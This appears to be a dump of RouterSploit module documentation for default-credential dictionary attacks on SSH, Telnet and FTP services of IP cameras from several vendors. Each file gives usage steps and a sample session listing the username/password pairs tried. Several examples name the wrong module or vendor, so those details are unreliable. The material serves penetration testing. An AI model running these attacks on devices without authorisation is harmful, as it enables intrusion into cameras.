    "content": "## Description\n\nModule performs dictionary attack with default credentials against Avtech Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/avtech/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/avtech/ssh_default_creds\nrsf (Avtech Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Avtech Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/avtech/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Avtech Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/avtech/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/avtech/telnet_default_creds\nrsf (Avtech Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Avtech Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/axis/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Axis Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/axis/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/axis/ftp_default_creds\nrsf (Axis Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Axis Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/axis/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Axis Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/axis/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/axis/ssh_default_creds\nrsf (Axis Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Axis Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/axis/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Axis Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/axis/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/axis/telnet_default_creds\nrsf (Axis Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Axis Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/basler/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Basler Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/basler/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/basler/ftp_default_creds\nrsf (Basler Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Basler Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/basler/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Basler Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/basler/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/brickcom/ssh_default_creds\nrsf (Brickcom Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Brickcom Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/basler/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Basler Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/basler/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/dlink/telnet_default_creds\nrsf (D-Link Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (D-Link Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/brickcom/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Brickcom Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/brickcom/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/brickcom/ftp_default_creds\nrsf (Brickcom Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Brickcom Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/brickcom/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Brickcom Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/brickcom/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/brickcom/ssh_default_creds\nrsf (Brickcom Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Brickcom Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/brickcom/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Brickcom Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/brickcom/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/brickcom/telnet_default_creds\nrsf (Brickcom Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Brickcom Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/canon/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Canon Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/canon/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/canon/ftp_default_creds\nrsf (Canon Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Canon Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/canon/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Canon Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/canon/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/canon/ssh_default_creds\nrsf (Canon Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Canon Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/canon/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Canon Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/canon/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/canon/telnet_default_creds\nrsf (Canon Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Canon Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/cisco/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Cisco Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/cisco/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/cisco/ftp_default_creds\nrsf (Cisco Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Cisco Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/cisco/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Cisco Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/cisco/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/cisco/ssh_default_creds\nrsf (Cisco Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Cisco Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/cisco/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Cisco Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/cisco/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/cisco/telnet_default_creds\nrsf (Cisco Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Cisco Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/dlink/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against D-Link Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/dlink/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/dlink/ftp_default_creds\nrsf (D-Link Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (D-Link Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/dlink/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against D-Link Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/dlink/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/dlink/ssh_default_creds\nrsf (D-Link Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (D-Link Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/dlink/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against D-Link Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/dlink/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/dlink/telnet_default_creds\nrsf (D-Link Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (D-Link Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/geovision/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against GeoVision Camera FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/geovision/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/geovision/ftp_default_creds\nrsf (GeoVision Camera Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (GeoVision Camera Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/geovision/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against GeoVision Camera SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/geovision/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/geovision/ssh_default_creds\nrsf (GeoVision Camera Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (GeoVision Camera Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/cameras/geovision/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against GeoVision Camera Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/cameras/geovision/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/cameras/geovision/telnet_default_creds\nrsf (GeoVision Camera Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (GeoVision Camera Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n  